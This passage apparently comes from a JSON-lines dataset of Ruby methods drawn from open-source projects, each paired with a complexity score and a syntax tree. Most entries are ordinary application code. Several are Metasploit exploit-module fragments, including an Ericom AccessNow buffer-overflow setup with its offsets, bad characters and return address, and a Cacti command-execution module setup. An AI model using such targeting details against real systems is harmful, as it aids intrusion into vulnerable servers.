end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cookies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_mock_session\"]},\"cookie_jar\"]}]}","id":"1dff258d-dbdb-4c71-9d1a-20d5d4ef7345"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/manager.rb","start_line":301,"raw_source":"def remove_tmp\n # delete tmp inside backups\n logger.info \"Deleting backups/tmp ... \"\n\n FileUtils.rm_rf(backup_path.join('tmp'))\n logger.info \"Deleting backups/tmp ... \" + \"done\"\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_tmp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Deleting backups/tmp ... \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backup_path\"]},\"join\",{\"type\":\"str\",\"children\":[\"tmp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting backups/tmp ... \"]},\"+\",{\"type\":\"str\",\"children\":[\"done\"]}]}]}]}]}","id":"27690da3-5abe-42f5-8200-31661add1dc0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb","start_line":567,"raw_source":"def cmd_edit_help\n print_line('Edit a file on remote machine.')\n print_line(\"Usage: edit file\")\n print_line\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_edit_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Edit a file on remote machine.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: edit file\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"a4cc5e80-1256-4db6-935d-4cc6b429f591"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/progress_popover.rb","start_line":151,"raw_source":"def expect_hints(**field_hint_pairs)\n aggregate_failures(\"progress popover hints expectations\") do\n field_hint_pairs.each do |field_name, hint|\n expect_hint(field_name, hint)\n end\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_hints\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"field_hint_pairs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aggregate_failures\",{\"type\":\"str\",\"children\":[\"progress popover hints expectations\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_hint_pairs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_name\"]},{\"type\":\"arg\",\"children\":[\"hint\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_hint\",{\"type\":\"lvar\",\"children\":[\"field_name\"]},{\"type\":\"lvar\",\"children\":[\"hint\"]}]}]}]}]}","id":"599b4267-5c50-4e5e-acee-5956f9cfb3f5"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/captain/copilot/chat_service.rb","start_line":22,"raw_source":"def generate_response(input)\n @messages << { role: 'user', content: input } if input.present?\n response = request_chat_completion\n\n Rails.logger.debug { \"#{self.class.name} Assistant: #{@assistant.id}, Received response #{response}\" }\n Rails.logger.info(\n \"#{self.class.name} Assistant: #{@assistant.id}, Incrementing response usage for account #{@account.id}\"\n )\n @account.increment_response_usage\n\n response\n end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@messages\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"request_chat_completion\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" Assistant: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@assistant\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\", Received response \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" Assistant: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@assistant\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\", Incrementing response usage for account \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"increment_response_usage\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"cf033340-f572-4272-aae9-fa3d428dc991"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/tasks/evm_application.rb","start_line":85,"raw_source":"def self.compact_date(date)\n return \"\" unless date\n\n date < 1.day.ago ? date.strftime(\"%Y-%m-%d\") : date.strftime(\"%H:%M:%S%Z\")\n end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"compact_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"ago\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%H:%M:%S%Z\"]}]}]}]}]}","id":"457f1811-7b8a-4c93-9752-c8ad4c79788d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/ericom_access_now_bof.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Ericom AccessNow Server Buffer Overflow',\n 'Description' => %q{\n This module exploits a stack based buffer overflow in Ericom AccessNow Server. The\n vulnerability is due to an insecure usage of vsprintf with user controlled data,\n which can be triggered with a malformed HTTP request. This module has been tested\n successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003\n Server SP2.\n },\n 'Author' => [\n 'Unknown', # Vulnerability Discovery\n 'juan vazquez', # Metasploit Module\n ],\n 'References' => [\n ['ZDI', '14-160'],\n ['CVE', '2014-3913'],\n ['BID', '67777'],\n ['URL', 'http://www.ericom.com/security-ERM-2014-610.asp']\n ],\n 'Privileged' => true,\n 'Platform' => 'win',\n 'Arch' => ARCH_X86,\n 'Payload' => {\n 'Space' => 4096,\n 'BadChars' => \"\\x00\\x0d\\x0a\",\n 'DisableNops' => true,\n 'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\" # Stack adjustment # add esp, -3500\n },\n 'Targets' => [\n [\n 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',\n {\n 'RopOffset' => 62,\n 'Offset' => 30668,\n 'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll\n }\n ]\n ],\n 'DisclosureDate' => '2014-06-02',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options([Opt::RPORT(8080)])\n end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8080]}]}]}]}]}","id":"ff9fc81d-8b6b-48e4-8c44-949536afe395"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/feature.rb","start_line":61,"raw_source":"def initialize\n @flipper_id = \"FlipperPod:#{Socket.gethostname}\".freeze\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@flipper_id\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FlipperPod:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Socket\"]},\"gethostname\"]}]}]},\"freeze\"]}]}]}","id":"6d56b4c1-581d-49f4-9fce-452474eb9265"} {"repo_name":"warden","file_path":"./repos/warden/lib/warden/proxy.rb","start_line":291,"raw_source":"def message\n winning_strategy && winning_strategy.message\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"winning_strategy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"winning_strategy\"]},\"message\"]}]}]}","id":"0c57db42-8845-498b-9974-e50bbd2b016e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/cacti_graphimage_exec.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Cacti graph_view.php Remote Command Execution',\n 'Description' => %q{\n This module exploits an arbitrary command execution vulnerability in the\n Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to\n 0.8.6-d are vulnerable.\n },\n 'Author' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2005-10004' ],\n [ 'OSVDB', '17539' ],\n [ 'BID', '14042' ],\n ],\n 'Privileged' => false,\n 'Payload' => {\n 'DisableNops' => true,\n 'Space' => 512,\n 'Compat' =>\n {\n 'PayloadType' => 'cmd',\n 'RequiredCmd' => 'generic perl ruby python telnet',\n }\n },\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Targets' => [[ 'Automatic', {}]],\n 'DisclosureDate' => '2005-01-15',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('URI', [true, \"The full URI path to graph_view.php\", \"/cacti/graph_view.php\"]),\n ]\n )\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cacti graph_view.php Remote Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits an arbitrary command execution vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\" Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to\\n\"]},{\"type\":\"str\",\"children\":[\" 0.8.6-d are vulnerable.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"David Maciejak <david.maciejak[at]kyxar.fr>\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2005-10004\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"17539\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"14042\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[512]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic perl ruby python telnet\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2005-01-15\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The full URI path to graph_view.php\"]},{\"type\":\"str\",\"children\":[\"/cacti/graph_view.php\"]}]}]}]}]}]}]}","id":"dfa9cd62-77f3-4589-a841-b502e2f371b7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/pipelines/lfs_objects_pipeline.rb","start_line":121,"raw_source":"def repository_types(oid)\n types = lfs_json[oid]\n\n return [] unless types\n return [] unless types.is_a?(Array)\n\n # only return allowed repository types\n types.uniq & allowed_repository_types\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_types\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_json\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"oid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"uniq\"]},\"&\",{\"type\":\"send\",\"children\":[null,\"allowed_repository_types\"]}]}]}]}","id":"27482fee-c46b-4524-8e66-3aaa5f4b1d3e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/projects/forks/details.rb","start_line":97,"raw_source":"def attrs\n @attrs ||= Rails.cache.read(cache_key)\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"attrs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@attrs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]}]}]}]}","id":"10306ba4-b71d-4831-a68d-5bfe4ff4a01a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/scada/pcomclient.rb","start_line":49,"raw_source":"def pcom_ascii_checksum(msg)\n (msg.each_byte.inject(:+) % 256).to_s(16).upcase.rjust(2, '0')\n end","complexity_score":11.95,"ast_json":"{\"type\":\"def\",\"children\":[\"pcom_ascii_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"each_byte\"]},\"inject\",{\"type\":\"sym\",\"children\":[\"+\"]}]},\"%\",{\"type\":\"int\",\"children\":[256]}]}]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]},\"upcase\"]},\"rjust\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}","id":"ffcfe60d-159f-4a45-8a35-ef6824d0651d"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/reviewable_notes_controller.rb","start_line":20,"raw_source":"def destroy\n note = @reviewable.reviewable_notes.find(params[:note_id])\n\n # Only allow the author or admin to delete notes\n raise Discourse::InvalidAccess unless note.user == current_user || current_user.admin?\n\n note.destroy!\n render json: success_json\n end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reviewable\"]},\"reviewable_notes\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"note_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"user\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"admin?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"c16b61c5-28c5-4cfb-b67a-5a12984ccc41"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts2_rest_xstream.rb","start_line":92,"raw_source":"def check\n return CheckCode::Appears if execute_command(rand_str)\n\n CheckCode::Safe\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[null,\"rand_str\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"3ba4a28a-15ad-4d22-a4c4-1220c3065af6"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/accept.rb","start_line":64,"raw_source":"def relay\n @relay ||= Relay.find_by(follow_activity_id: object_uri) unless object_uri.nil?\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"relay\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_uri\"]},\"nil?\"]},null,{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@relay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relay\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"follow_activity_id\"]},{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]}]}]}]}]}]}","id":"04e4a66b-d85a-487e-857f-82c3b1117ab8"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":421,"raw_source":"def test_db_dir_ignored_if_included_in_schema_dump\n Dir.mktmpdir do |dir|\n ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, dir) do\n updated_hash = ActiveRecord::Base.configurations.configs_for(env_name: \"arunit\", name: \"primary\").configuration_hash.merge(schema_dump: \"#{dir}/fake_db_config_schema.rb\")\n db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new(\"arunit\", \"primary\", updated_hash)\n path = \"#{dir}/fake_db_config_schema.rb\"\n\n FileUtils.rm_rf(dir)\n assert_not File.file?(path)\n\n ActiveRecord::Base.connection_handler.stub(:establish_connection, nil) do\n ActiveRecord::SchemaDumper.stub(:dump, \"\") do # Do not actually dump for test performances\n ActiveRecord::Tasks::DatabaseTasks.dump_schema(db_config)\n end\n end\n\n assert File.file?(path)\n end\n end\n ensure\n ActiveRecord::Base.clear_cache!\n end","complexity_score":32.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_db_dir_ignored_if_included_in_schema_dump\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"db_dir\"]},{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"updated_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"arunit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]}]},\"configuration_hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schema_dump\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/fake_db_config_schema.rb\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"db_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"DatabaseConfigurations\"]},\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"arunit\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"lvar\",\"children\":[\"updated_hash\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/fake_db_config_schema.rb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_handler\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"SchemaDump